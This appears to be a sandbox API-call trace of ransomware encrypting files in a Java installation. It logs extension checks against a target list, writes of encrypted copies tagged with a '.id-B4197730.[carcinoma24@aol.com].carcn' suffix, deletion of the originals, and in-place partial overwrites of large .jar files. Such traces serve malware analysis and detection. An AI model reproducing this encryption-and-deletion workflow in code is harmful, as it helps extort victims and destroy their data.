[0306.888] lstrlenW (lpString=".bz2") returned 4 [0306.888] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0306.888] lstrlenW (lpString=".7z") returned 3 [0306.888] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0306.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0306.888] lstrlenW (lpString=".dbf") returned 4 [0306.888] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0306.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0306.888] lstrlenW (lpString=".1cd") returned 4 [0306.888] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0306.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0306.888] lstrlenW (lpString=".jpg") returned 4 [0306.888] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0306.888] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.889] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.889] GetLastError () returned 0x0 [0306.889] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xe10, lpOverlapped=0x0) returned 1 [0306.890] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe20, lpOverlapped=0x0) returned 1 [0306.891] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.891] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x100, lpOverlapped=0x0) returned 1 [0306.891] SetEndOfFile (hFile=0x394) returned 1 [0306.892] CloseHandle (hObject=0x394) returned 1 [0306.892] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.892] SetEndOfFile (hFile=0x35c) returned 1 [0306.893] CloseHandle (hObject=0x35c) returned 1 [0306.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.893] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0306.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0306.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0306.894] lstrlenW (lpString=".doc") returned 4 [0306.894] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0306.894] lstrlenW (lpString=".docx") returned 5 [0306.894] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0306.894] lstrlenW (lpString=".pdf") returned 4 [0306.894] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0306.894] lstrlenW (lpString=".xls") returned 4 [0306.894] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0306.894] lstrlenW (lpString=".xlsx") returned 5 [0306.894] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0306.894] lstrlenW (lpString=".ppt") returned 4 [0306.894] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0306.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0306.894] lstrlenW (lpString=".zip") returned 4 [0306.894] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0306.895] lstrlenW (lpString=".rar") returned 4 [0306.895] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0306.895] lstrlenW (lpString=".bz2") returned 4 [0306.895] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0306.895] lstrlenW (lpString=".7z") returned 3 [0306.895] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0306.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0306.895] lstrlenW (lpString=".dbf") returned 4 [0306.895] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0306.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0306.895] lstrlenW (lpString=".1cd") returned 4 [0306.895] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0306.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0306.895] lstrlenW (lpString=".jpg") returned 4 [0306.895] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.442] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.442] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.442] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0307.443] GetLastError () returned 0x0 [0307.443] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xd51, lpOverlapped=0x0) returned 1 [0307.444] WriteFile (in: hFile=0x378, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xd60, lpOverlapped=0x0) returned 1 [0307.445] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.445] WriteFile (in: hFile=0x378, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x100, lpOverlapped=0x0) returned 1 [0307.445] SetEndOfFile (hFile=0x378) returned 1 [0307.445] CloseHandle (hObject=0x378) returned 1 [0307.445] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.445] SetEndOfFile (hFile=0x380) returned 1 [0307.446] CloseHandle (hObject=0x380) returned 1 [0307.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.446] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0307.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0307.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0307.447] lstrlenW (lpString=".doc") returned 4 [0307.447] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.447] lstrlenW (lpString=".docx") returned 5 [0307.447] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.447] lstrlenW (lpString=".pdf") returned 4 [0307.447] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.447] lstrlenW (lpString=".xls") returned 4 [0307.447] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.447] lstrlenW (lpString=".xlsx") returned 5 [0307.447] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.447] lstrlenW (lpString=".ppt") returned 4 [0307.447] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0307.447] lstrlenW (lpString=".zip") returned 4 [0307.447] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.447] lstrlenW (lpString=".rar") returned 4 [0307.447] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.448] lstrlenW (lpString=".bz2") returned 4 [0307.448] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.448] lstrlenW (lpString=".7z") returned 3 [0307.448] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0307.448] lstrlenW (lpString=".dbf") returned 4 [0307.448] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0307.448] lstrlenW (lpString=".1cd") returned 4 [0307.448] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0307.448] lstrlenW (lpString=".jpg") returned 4 [0307.448] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.448] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.448] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.448] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0307.450] GetLastError () returned 0x0 [0307.450] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x2de78, lpOverlapped=0x0) returned 1 [0307.454] WriteFile (in: hFile=0x378, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x2de80, lpOverlapped=0x0) returned 1 [0307.457] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.457] WriteFile (in: hFile=0x378, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfc, lpOverlapped=0x0) returned 1 [0307.458] SetEndOfFile (hFile=0x378) returned 1 [0307.458] CloseHandle (hObject=0x378) returned 1 [0307.458] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.458] SetEndOfFile (hFile=0x380) returned 1 [0307.460] CloseHandle (hObject=0x380) returned 1 [0307.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.460] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0307.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0307.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0307.461] lstrlenW (lpString=".doc") returned 4 [0307.461] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0307.461] lstrlenW (lpString=".docx") returned 5 [0307.461] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0307.461] lstrlenW (lpString=".pdf") returned 4 [0307.461] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0307.461] lstrlenW (lpString=".xls") returned 4 [0307.461] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0307.461] lstrlenW (lpString=".xlsx") returned 5 [0307.462] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0307.462] lstrlenW (lpString=".ppt") returned 4 [0307.462] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0307.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0307.462] lstrlenW (lpString=".zip") returned 4 [0307.462] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0307.462] lstrlenW (lpString=".rar") returned 4 [0307.462] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0307.462] lstrlenW (lpString=".bz2") returned 4 [0307.462] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0307.462] lstrlenW (lpString=".7z") returned 3 [0307.462] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0307.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0307.462] lstrlenW (lpString=".dbf") returned 4 [0307.462] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0307.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0307.462] lstrlenW (lpString=".1cd") returned 4 [0307.462] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0307.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0307.462] lstrlenW (lpString=".jpg") returned 4 [0307.462] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0307.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0307.463] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0307.464] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fc64 | out: lpNewFilePointer=0x0) returned 1 [0307.464] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fc24 | out: lpNewFilePointer=0x0) returned 1 [0307.464] ReadFile (in: hFile=0x380, lpBuffer=0x406d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x363fc30, lpOverlapped=0x0 | out: lpBuffer=0x406d058*, lpNumberOfBytesRead=0x363fc30*=0x40000, lpOverlapped=0x0) returned 1 [0307.757] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, dwMoveMethod=0x363fc24 | out: lpNewFilePointer=0x0) returned 1 [0307.757] ReadFile (in: hFile=0x380, lpBuffer=0x40ad058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x363fc30, lpOverlapped=0x0 | out: lpBuffer=0x40ad058*, lpNumberOfBytesRead=0x363fc30*=0x40000, lpOverlapped=0x0) returned 1 [0307.804] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x363fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0307.804] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x363fc24 | out: lpNewFilePointer=0x0) returned 1 [0307.804] ReadFile (in: hFile=0x380, lpBuffer=0x40ed058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x363fc30, lpOverlapped=0x0 | out: lpBuffer=0x40ed058*, lpNumberOfBytesRead=0x363fc30*=0x40000, lpOverlapped=0x0) returned 1 [0308.899] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.899] WriteFile (in: hFile=0x380, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x363fca8, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fca8*=0xc0104, lpOverlapped=0x0) returned 1 [0309.333] SetEndOfFile (hFile=0x380) returned 1 [0309.333] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x4504008 [0309.338] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fc74 | out: lpNewFilePointer=0x0) returned 1 [0309.338] WriteFile (in: hFile=0x380, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x363fc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x363fc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.339] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, dwMoveMethod=0x363fc74 | out: lpNewFilePointer=0x0) returned 1 [0309.339] WriteFile (in: hFile=0x380, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x363fc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x363fc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.343] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x363fc74 | out: lpNewFilePointer=0x0) returned 1 [0309.343] WriteFile (in: hFile=0x380, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x363fc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x363fc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.345] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0309.347] CloseHandle (hObject=0x380) returned 1 [0309.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0309.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0309.348] lstrlenW (lpString=".doc") returned 4 [0309.348] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.348] lstrlenW (lpString=".docx") returned 5 [0309.348] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0309.348] lstrlenW (lpString=".pdf") returned 4 [0309.348] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.348] lstrlenW (lpString=".xls") returned 4 [0309.348] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.348] lstrlenW (lpString=".xlsx") returned 5 [0309.348] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0309.348] lstrlenW (lpString=".ppt") returned 4 [0309.348] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0309.348] lstrlenW (lpString=".zip") returned 4 [0309.348] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.348] lstrlenW (lpString=".rar") returned 4 [0309.348] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.348] lstrlenW (lpString=".bz2") returned 4 [0309.348] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.348] lstrlenW (lpString=".7z") returned 3 [0309.348] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0309.348] lstrlenW (lpString=".dbf") returned 4 [0309.348] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0309.348] lstrlenW (lpString=".1cd") returned 4 [0309.348] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0309.348] lstrlenW (lpString=".jpg") returned 4 [0309.348] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.349] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.349] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0309.674] GetLastError () returned 0x0 [0309.675] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x5b5, lpOverlapped=0x0) returned 1 [0309.675] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0309.676] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.676] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0309.676] SetEndOfFile (hFile=0x344) returned 1 [0309.676] CloseHandle (hObject=0x344) returned 1 [0309.676] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.676] SetEndOfFile (hFile=0x380) returned 1 [0309.677] CloseHandle (hObject=0x380) returned 1 [0309.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.677] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0309.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0309.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0309.678] lstrlenW (lpString=".doc") returned 4 [0309.678] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0309.678] lstrlenW (lpString=".docx") returned 5 [0309.678] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0309.678] lstrlenW (lpString=".pdf") returned 4 [0309.678] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0309.678] lstrlenW (lpString=".xls") returned 4 [0309.678] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0309.678] lstrlenW (lpString=".xlsx") returned 5 [0309.678] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0309.678] lstrlenW (lpString=".ppt") returned 4 [0309.679] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0309.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0309.679] lstrlenW (lpString=".zip") returned 4 [0309.679] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0309.679] lstrlenW (lpString=".rar") returned 4 [0309.679] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0309.679] lstrlenW (lpString=".bz2") returned 4 [0309.679] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0309.679] lstrlenW (lpString=".7z") returned 3 [0309.679] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0309.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0309.679] lstrlenW (lpString=".dbf") returned 4 [0309.679] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0309.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0309.679] lstrlenW (lpString=".1cd") returned 4 [0309.679] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 